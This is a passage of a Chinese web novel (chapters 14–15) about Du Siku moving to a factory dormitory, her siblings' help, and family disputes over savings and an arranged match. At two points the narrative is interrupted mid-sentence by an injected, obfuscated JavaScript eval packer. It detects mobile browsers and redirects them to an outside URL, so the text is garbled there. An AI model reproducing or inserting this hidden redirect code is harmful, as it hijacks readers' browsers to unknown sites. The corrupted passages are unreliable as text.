“天都黑了,明天再走吧。”老五把旧铝饭盒洗了,给杜思苦装得满满的饭跟菜,杜思苦要自己装,她还不乐意。 杜思苦琢磨了一会。 她怕自己走了,到时候两边长辈把主意打到老五身上,来个亲上加亲。 老五才十五岁,还小。 虽然可能性不大,但万一呢? “老五,沈洋跟他媳妇闹掰了,刘阿姨想给沈洋再找一个。”杜思苦话还没说完呢,老五就一副恍然大悟的样子,“她看上你了!” 难怪这么殷勤! 难怪沈洋大哥刚才还给她姐递苹果。 还说分房子的事。 甭想! 老五不同意。 这么理解也差不多,杜思苦道,“我去厂里之后,你自己在家也要多长一个心眼。还有咱们那位表姐,她说什么你可别傻乎乎的答应了,凡事要先过脑子想一想。” 老五听了后,表情复杂:“姐,奶奶说咱们这个家最实诚的人是你。” 不是她。 她脑子很好的,老师都夸她聪明机灵。 杜思苦:“好好好。” 不说了。 老五把家里的搪瓷脸盆用旧鱼网捆好,递给杜思苦,“姐,带上这个。” 这是她们共用的脸盆。 “我带走了,你用什么?”杜思苦知道家里有,但没想过拿。 “等爷爷回来,我找爷要一个新的。”老五笑着说,“无非挨顿骂。”骂归骂,东西还是会给的。 杜爷爷疼孙女,老五长得机灵可爱,又能说会道,更招人喜欢一些。 老四呢,实诚,嘴笨一些,只会做事。 而且啊,老四不争抢,喜欢让。 长辈们知道老四好,但是呢,家里的好东西肯定是先给老五,再给其他人,最后给老四。 “我走了。” “姐,记得来看我,给我写信。”老五早就盼着别人给她寄信了。 外头天黑了。 老五不知道又哪个屋摸出一个手电筒,七成新,又塞到了杜思苦的手上。 家里有哪些好东西,老五真是门清啊。 杜思苦收了:“下次放假回来,我把手电筒拿回来。” 天黑了,确实也需要一个手电筒。 她现在手里没工业劵,钱也不多,等攒几个月工资,这些都能买。 家里没人,老五得看家,就没送。 杜思苦走出家门,走了一会,回头看到老五还站在院门口,她挥了挥手,让老五回去。 老五也拼命的挥手。 - 杜家老三送完饭从医院出来,脸色不太好。 晚上的菜不如中午,除了素菜之外,还煮了两个鸡蛋。这已经不差了,谁家天天吃肉? 就这,还听了几句闲话。 于月莺跟在后面,“表弟,对不住,我妈就是担心我爸的身子骨,不是挑你家的理。” 她再三解释,“我妈是有口无心,你别放在心上。” 也不用跟姨妈说。 杜家老三:“知道了。” 反正明天他不送饭了。 天快黑了,杜家老三走得很快,于月莺小跑着跟在后面。快到家的时候,杜家老三突然停下了。 那个站在路灯下面端着铝饭盒吃饭的人怎么这么像老四啊? - 14. 014 还真是杜思苦。 杜思苦也看到三哥了,表姐也在? 她利索的避到后面没光的地方,这地方是特意找的,离家二十分钟,后面还有一个公用的自来水管。 她是打算在这把饭吃了,用水洗把碗洗干净,然后再继续往机修厂走。 机修厂在郊区,这会没公交车,估计得走一个多小时。 得补充体力。 “表弟,怎么不走了?”于月莺问,她四处看了看,觉得这不是中午回来的路,这周围也不像是铁路家属院啊。 杜家老三看了眼于月莺,直接道:“走吧。” 这边是回家的小路,从这边穿过去,五分钟就能到铁路家属楼的的后门。 “走吧。” 杜家老三往路灯那边多看了两眼,然后带着于月莺绕回大家,又多走了十五分钟,终于到了铁路家属大院。 到家了。 于月莺心里悄悄松了口气,刚才表弟带着她走着岔路,她还真怕表弟把她扔到人生地不熟的地方捉弄她。 还好,安全到家了。 杜老三到家晃了一圈,桌上没摆饭。他趁着没人注意,又溜出去了。 抄近路。 走的是铁路大属大院的后门,后门是个大铁门,上了把大铁锁。 没事,他有钥匙。 这钥匙是二哥走的时候给他的。 他熟门熟路的找到路灯,下面没看到人,再往后面走了十来米,这里有个公用的水龙头,老四正在洗饭盒呢。 杜家老三找了过去。 “小姨在医院没回家,家里住得下,明天早上再去机修厂吧。”杜家老三以为杜思苦是担心家里住不下。 杜思苦又冲洗了一遍铝饭盒:“我要是今天晚上住了家里,明天早上可就出不了门了。”杜母听到沈洋分了福利房之后,那眼神跟恶狼看到食物似的,恨不得把沈洋叼回家。 而且在‘记忆’里,她跟沈洋确实是被两家人摄合在一起了。 还是离远点安全。 杜思苦收起来装到鱼网里,跟搪瓷盆放一起,往肩上一背。 “三哥,那我走了。” 她又想起来:“户口本我放到妈房间的衣柜里了,最下面。”她就是因为要还户口本才回来的。 “等会。”杜家老三道,“你在这等我五分钟,我去借辆自行车送你去厂里。”这大晚上的哪能让老四一个人去。 他去借辆自行车。 “五分钟?” 没那么快吧,刚才三哥碰到她,到回去再来,也有小二十分钟呢。 五分钟就能借到自行车? 杜思苦:“三哥,这附近有你熟人吗?” 杜家老三走前指着大铁门的方向,“从那边翻进去,离咱们家就五分钟。” 合着她这半天白走了? 杜思苦刚才走了一直走,她没手表,不知道时间,但是二十分钟是应该的。走路消耗体力,这才特意拐到小路来,找了个能用水的地方,这才放心吃饭的。 “等我,马上过来。” 杜家老三还是从后门进去的。 隔壁沈洋大哥家有辆自行车,沈洋大哥人挺好说话的,晚上就能还回来,应该不难。 - 铁路家属大院。 杜母从沈家回来了。 刘芸跟儿子吵起来了,这会正在找藤条,要抽儿子呢。 杜母觉得,打一顿也好,这沈洋现在还惦记着他那个没良心的前妻呢。 “姨妈。”于月莺立刻过去了。 杜母这会心情不错,“饿了吧,厨房有饭。”桌上空荡荡的,菜都在厨房还没端过来吧。 她心情不错的把菜端了出来,有一个菜没炒,没事,明天早上再炒。 “老三,老四,老五,出来吃饭。” 杜母喊道。 于月莺都回来了,老三应该回来了。 老四老五估计在屋里。 话音刚落,老五的声音从杜奶奶房间里传来:“来了。” 很快就看到老五从杜奶奶屋里出来了,手里拿着一个崭新的铝饭盒,正是之前她拿给杜思苦看的那个。 事情是这样的,杜思苦走后,老五又把新的铝饭盒装好放回去了。 直接拿走不好。 得让奶奶送给她,这样名正言顺。 老五脑子转得快。 杜奶奶一回来,老五亲亲热热的挽上奶奶的胳膊了,小嘴跟抹了蜜似的,没一会就把老人哄开心了。 再一说自己的铝饭盒旧了小了,饭盖打不开。 杜奶奶一听,这哪行啊。 很快,属于杜爷爷的、被杜奶奶藏起来的崭新的花纹铝饭盒,就属于老五了。 小姑看得心里很不得劲。 等外头传来杜母的喊声,老五跟杜奶奶前后脚出去了。 小姑女儿郭文秀悄悄跟她说:“妈,中午我看到奶奶给三表哥好多好东西,还有这么多的糖果呢。” 文秀比了一个大圈圈。 之后有点委屈的撅着嘴,“一颗都没给我留。” 小姑心里更堵得慌了。 老三都二十的人了,又是男的,吃那么多糖果做什么? 说起来,家里也就是文秀最小。 这才头一天呢,要以后家里好东西都是先给大哥家的孩子,她家文秀只能干看着,那算什么啊。 她是带着孩子回娘家受罪的吗? 小姑觉得这事得好好跟她妈谈谈。 - 外头。 杜母看到杜奶奶,脸一下子就垮了,老太太把她手里的钱全掏干净了,理由倒是找得挺好,怕她贴补妹妹。 关键是老杜还信了。 呸。 杜奶奶看到了,当着孩子跟外人的面,总不好下杜母的脸。 于是问道:“你家妹夫怎么样了?” “挺过来了,还在住几天院。”杜母不冷不热。 于月莺忽然小声插了一句嘴,“姨妈,您帮着挂号的钱我们会还你的,等会我去行李里拿。” 哎哟。 这钱本来就是从于家的行李里头拿的,杜母忘记跟妹子一家说了。 “不用,月莺,这钱就是你家行李里头拿的,是你的钱。”说到这,杜母又掏出了十几块零碎钱,“还有这些没用上,你自己拿着。” 于月莺僵住了。 这看病用的是他们辛辛苦苦攒的钱? 还就剩这一点了? - 隔壁沈家。 屋里鸡飞狗跳。 杜家老三等了足足五分钟,才看到沈洋鼻青脸肿的出来。 “沈哥,你自行车晚上能借我用用吗?” “没问题啊。” 沈洋一口答应。 多亏沈家老三过来,救他于水火之中。这会他妈还在屋里哭嚎呢,说他要是把何美姿再带回来,就挂根绳子到房梁上,不活了。 沈洋拿钥匙解开车锁,把自行车推出来,交给杜家老三。 “谢谢沈哥。” - 杜思苦等了十多分钟,三哥才来。 杜家老三骑着自行车过来的,“上车。” 杜思苦掏出两个玉米饼子,递了过去,“先吃了,再走。” 她哥先去医院送饭,回来的路上碰到她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14830576|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计是没时间回家吃饭的。 刚才她找了几户人家,都是吃过饭了,只有一户蒸了玉米饼,热腾腾的,刚出锅不久。杜思苦费了半天口舌,才用粮票换来两块。 杜家老三没客气,接过玉米饼,狼吞虎咽,“哪来的?”一块玉米饼,四口就吃完了。 差点咽着了。 杜思苦把铝饭盒递过去,里面装了自来水。 没办法,就这条件。 杜家老三赶紧大喝一口。 刚才吃得太急了。 “我们走。”杜家老三坐在前座,杜思苦坐在后座,带的那些搪瓷盆什么的都装在鱼网里,鱼网挂在车扶手上。 “是机修厂对吧。” “对。”杜思苦道,“六路车的终点站就是。” “六路车挺绕的,咱们抄近路。” 会快一些。 杜思苦:“三哥,我们先走大路,等没路灯了,我们再抄近路。”她又想起来,“老五给了我一个手电筒。” 在鱼网兜里。 等会抄近路的时候可以拿出来用。 - 机修厂,女工宿舍。 余凤敏看着大门,有一点动静她就起来看门,看是不是杜思苦回来了。 杜思苦托袁秀红跟她说晚上会回来。 余凤敏早早的就洗漱完了,还把暖水瓶里打满了热水。 怕杜思苦回来饿,还从食堂拿了个馒头回来。 这都几点了,还没影? 余凤敏都等饿了,把馒头掰开一半,自己吃一半,给杜思苦留一半。 隔壁床的袁秀红突然出声:“你没有听到什么声音?” 余凤敏咔哧咔哧的吃着东西,含糊不清的说:“我饿了。”她吃东西,肯定有声啊。谁嚼东西不出一点声? 这袁秀红是不是在点她? 袁秀红指着窗户外头:“外面传来的。” 余凤敏下床,伸手就在拉窗帘。 “别。”袁秀红一把抓住余凤敏的手,不让她拉窗帘。 万一窗户外头是张人脸怎么办? 袁秀红害怕。 余凤敏侧着耳朵听了一会,没声啊。 没声就好。 袁秀红松开余凤敏的手,“我前几天老是半夜听到外面有动静。”心里特别害怕,每天晚上窗户都关得牢牢的。 她还捡了根粗棍子放到床底下。 - 修机厂到了。 杜思苦下了自行车,把手电筒给三哥,“三哥,你拿好。” “不用,你这厂里头没几处亮的地方,你还是自己拿着吧,”杜家老三道,“来的路我都记住了,你别操心了。赶紧进去吧!” 杜家老三坚决不要手电筒。 机修厂从大门口到宿舍,远着呢。 “保卫科肯定有手电筒,我借一个就行了,哥,拿着。”杜思苦把手电筒塞到杜家老三的口袋里,转头就往机修厂保卫科的小门走。 大门一般是有大车过来才会打开。 杜思苦带了进出证,保卫科放她进去了。 杜家老三看到杜思苦真的进厂里了,稍稍放心。 该回家了。 保卫科。 “这手电筒明天早上还回来就行,”保卫科的小同志没等杜思苦提,就把手电筒给借出去了,还给了一个手腕粗的棍子给她防身。 “注意安全。”小同志提醒。 值班室现在就他一个人,吴队长带着其他人在厂里巡逻。 私下传是发现有贼。 “谢谢同志,我会注意安全的。” 杜思苦提高警惕,往女工宿舍的方向走。 15. 015 铁路家属大院。 饭菜端上桌。 杜母发现吃饭的人不多,饭桌上就三个人。 杜母,老五,于月莺,人少菜多。 杜奶奶刚才带着小姑子跟文秀去找妇联的梁主任的时候,在那边吃过了。 本来是说回来吃的,这年头谁家都缺粮,去人家家里吃饭不好。 可是小梁太热情了,说饭煮得多,还说老太太要是不愿意留下那就是嫌家里菜不好。 都这样说了,还能走吗? 杜奶奶瞧了桌子上的五盘菜,菜不少,就是家里的人少了。 “有胜(杜父)呢?” 她问杜母。 杜母还是那不冷不热的态度,拉着脸:“我哪知道,我回来就没见着人,不知道死哪去了。” 板车是小卫家的,估计是在那边聊上了。 杜奶奶瞧杜母这态度,老脸拉得更长:“你男人没回来,也不知道去找找。” 这怎么当媳妇的? 还给她脸色看,她老头还没死呢。 杜母:“妈,咱们打开天窗说亮话,我跟有胜存的一点养老钱是你拿了吧。照理说,你是长辈,我不该没大没小,但是这事咱们得讲讲理。老杜一点工资,养一大家子人,如今又多了两个吃闲话的。” 她往小姑子的屋里看了看,“您别不乐意听,这小姑子回来,给生活费吗?还是说您跟爸帮她给?” 要是不交生活费,那还是老杜的工资养。 是这个道理吧。 杜奶奶气笑了:“得敏还回不得娘家了?你还挑上理了?”她道,“好,等后天得敏她爸(杜爷爷)回来,你跟他说。” 这是杜家,没有不让杜家儿女住的道理。 “妈,我不是说不让小姑子住,我是说老杜的工资少,这么多张嘴吃饭,养不起。”杜母又绕回原点,“您把我那存折还我,小姑子爱住多久住多久。” 杜母就是要拿回钱。 杜奶奶看了坐在桌边的于月莺一眼,“这钱我一分都不会动,就是帮你存着。” 说来说去就一句话,钱现在不给。 “行了,这事就到这,你让有胜(杜父)过来跟我要。”杜奶奶转头回屋,“这是他挣的。” 杜母被话堵着了。 这钱是老杜挣的,老杜跟她是夫妻,老杜挣的钱就是她的钱。 是不是这个道理? 再说了,杜母以前也是有工作的,主要是要生孩子养孩子,才被困在家里出不去。 现在好不容易把孩子拉扯大了,倒说她不挣钱了。 杜母憋了一肚子火。 老五见状,拿着碗夹了菜,吃得飞快。 等会她就回屋拿书出来看。 假装学习。 这样总不能骂她吧。 她怕杜母把火发在她身上。 于月莺坐在桌边,食不下咽。 她脑子里在想着住院费的事,姨妈用的是她家的钱交的费。 家里剩的那十几块钱,够花吗? 她爸要是出院了,跟她妈回五沟大队,这路费怎么办?她留在城里,住姨妈家,生活费又怎么办? 杜母虽然气饱了,但是饭还是要吃的。 这一上坐,就发现桌边空荡荡的,家里老三老四呢? 老三该跟于月莺一块回来啊。 老四呢? 杜母去沈家之前,老四还跟沈洋在这里说话呢,就坐在椅子上,就这。 想到沈洋,杜母脸上总算是有了一点笑意,“老五,老四是不是在屋里,你叫她出来吃饭。” 来了。 老五咽下最后一口饭,“妈,我姐找着工作了,在厂里当工人,她说家里人多,住不下。去住厂里的宿舍了。” 这事得说。 她姐晚上不回来,在大人看就是夜不归宿,姑娘家晚上不归家,搁谁家都要出去找人的,以她妈的性子,得闹到派出所去。 找着工作了?什么时候。 搬到宿舍去了? 杜母想起来杜思苦早上说的去找临时工的事。 一个临时工,有什么好的? 待遇差活多,哪样都不如正式工。 她都还没同意呢,老四就去了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14830577|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有没有把她这个当妈的放在眼里?这孩子怎么变成这样了! 以前老四可是最听她的话了。 丈夫丈夫不省心,孩子孩子不听话,这些人是要把她气死。 杜母脑门嗡嗡的疼,问老五:“你姐去了哪个厂,带我去。” 她得把老四找回来! 一个临时工,哪比得上沈洋单位发的那套福利房! - 机修厂。 厂里几个车间附近有路灯,离车间远了,路灯就没开。 杜思苦宁愿绕远点,往有灯亮的地方走。 女工宿舍离车间远。 车间里的机器噪音很大,厂里当初建宿舍的时候特意建的远了一些。 走着走着,杜思苦碰到了一位保卫科的人,大高个,结实得很,穿着制服,在这边巡视。 “你干什么?” “我是一车间新来的工人,今天搬到宿舍。”杜思苦把身后背的搪瓷盆给保卫科的同志看,“这是从家里带来的东西。” “有身份证明吗?” “这是我的进出证,这是我的员工证。”杜思苦都随身带着。 保卫科的人员看了眼证件,语气好了许多,“以后晚上早点回宿舍。”他刚从女工宿舍那边转过来,一路安全。 杜思苦应了。 收好证件,打开手电筒,背着东西往女工宿舍的方向走。 保科卫的同志挺负责的。 以前也这样吗? 杜思苦边想着边往女工宿舍走,要是保卫科一直这样,就没问题。要是保卫科最近才这样勤密巡逻,那就说明工宿舍那边有情况。 而且问题不小。 快到了。 杜思苦已经看到女工宿舍的二屋红砖小楼了。 宿舍只有门口的灯是亮着的。 杜思苦加快脚步,手电筒随着她走动一晃一晃的。 路上有石子,杜思苦脚滑了一下,手电筒的光一下子偏离了方向。 一张人脸一闪而过。 杜思苦呼吸都急促了几分。 有人!